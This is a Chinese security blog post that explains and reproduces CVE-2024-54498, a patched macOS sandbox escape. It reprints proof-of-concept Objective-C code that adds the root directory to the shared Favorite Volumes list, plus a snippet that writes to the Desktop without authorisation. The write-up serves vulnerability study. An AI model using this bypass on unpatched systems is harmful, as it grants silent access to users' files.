macos高危漏洞CVE-2024-54498 解析+复现

admin 2025年1月16日23:22:30评论11 views字数 2568阅读8分33秒阅读模式
 

前言:

前两天看到github有公开一个mac的cve,影响了15.2以下的版本,刚好我也用的mac,看看会不会影响到我,特抽时间看了一下,有搞错的地方麻烦大佬补充修改。

原理:

先说下前情提要,苹果的macos有个沙箱机制,每个应用都只能访问自己独立的沙箱数据,如果需要访问其他数据,比如桌面文件夹,则需要用户手动授权,即唤起一个文件夹选择栏,让用户授权。

而CVE-2024-54498绕过了这个限制,在无需用户授权的情况下也可写入/读取任意文件。

简单研究了下poc,原理很简单,mac系统还有个机制/特性,就是共享文件,进程是sharedfilelistd

macos高危漏洞CVE-2024-54498 解析+复现

这个进程允许将全盘直接列入共享文件中,从而导致原本应该没有权限的目录被直接取得权限。

复现:

代码很简单,原poc中的关键函数是这样的:

int add_root_dir_to_favorites(void) {
    CFStringRef listType = kLSSharedFileListFavoriteVolumes;
    LSSharedFileListRef favoriteVolumesList = LSSharedFileListCreate(NULL, listType, NULL);
    
    if (favoriteVolumesList) {
        NSString *path = @"/";
        CFURLRef tmpDirURL = (__bridge CFURLRef)[NSURL fileURLWithPath:path];
        
        LSSharedFileListItemRef newItem = LSSharedFileListInsertItemURL(
            favoriteVolumesList,
            kLSSharedFileListItemLast,
            NULL,
            NULL,
            tmpDirURL,
            NULL,
            NULL
        );
        
        if (newItem) {
            NSLog(@"[+] Successfully added %@ to Favorite Volumes.", path);
            CFRelease(newItem);
        } else {
            NSLog(@"[-] Failed to add %@ to Favorite Volumes.", path);
        }
        
        CFRelease(favoriteVolumesList);
    } else {
        NSLog(@"[-] Failed to access LSSharedFileList for Favorite Volumes.");
    }
    
    return 0;
}

int trigger_exploit(void) {
    LSSharedFileListRef recentItems = LSSharedFileListCreate(NULL, kLSSharedFileListFavoriteVolumes, NULL);
    if (recentItems) {
        NSArray *items = (__bridge NSArray *)LSSharedFileListCopySnapshot(recentItems, NULL);
        
        NSLog(@"items array: %@n", items);
        for (id item in items) {
            LSSharedFileListItemRef itemRef = (__bridge LSSharedFileListItemRef)item;
            CFErrorRef errorRef;
            CFURLRef itemURL = LSSharedFileListItemCopyResolvedURL(itemRef, 0, &errorRef);
            NSString *itemPath = [(__bridge NSURL *)itemURL path];
            NSLog(@"itemPath: %@", itemPath);
        }
        CFRelease(recentItems);
    } else {
        NSLog(@"Failed to retrieve recent items.");
    }
    
    return 0;
}

就像原理中说的,它调用了苹果的api让sharedfilelistd进程将根目录直接加入了共享列表中,验证它也很简单,直接尝试写入一个新文件到destop中即可。

NSString *escaped_dir = [NSString stringWithFormat:@"%@/Desktop/exp", userDir];
    const char* escaped_contents = "无需申请授权即可访问destop文件夹";
    writeFileAtPath(escaped_dir.UTF8String, escaped_contents);

写成几个函数直观一点。

macos高危漏洞CVE-2024-54498 解析+复现

复现视频:

总结:

这个漏洞利用正常功能点导致了另一个意料之外的后果,简单但有效,危害在于用户无感知地被取得了全盘权限,CVSS评分也来到了8.8,苹果在15.2版本中已修复此漏洞。

https://github.com/wh1te4ever/CVE-2024-54498-PoC
 

 

 

原文始发于微信公众号(棉花糖网安情报站):macos高危漏洞CVE-2024-54498 解析+复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月16日23:22:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   macos高危漏洞CVE-2024-54498 解析+复现https://cn-sec.com/archives/3626060.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息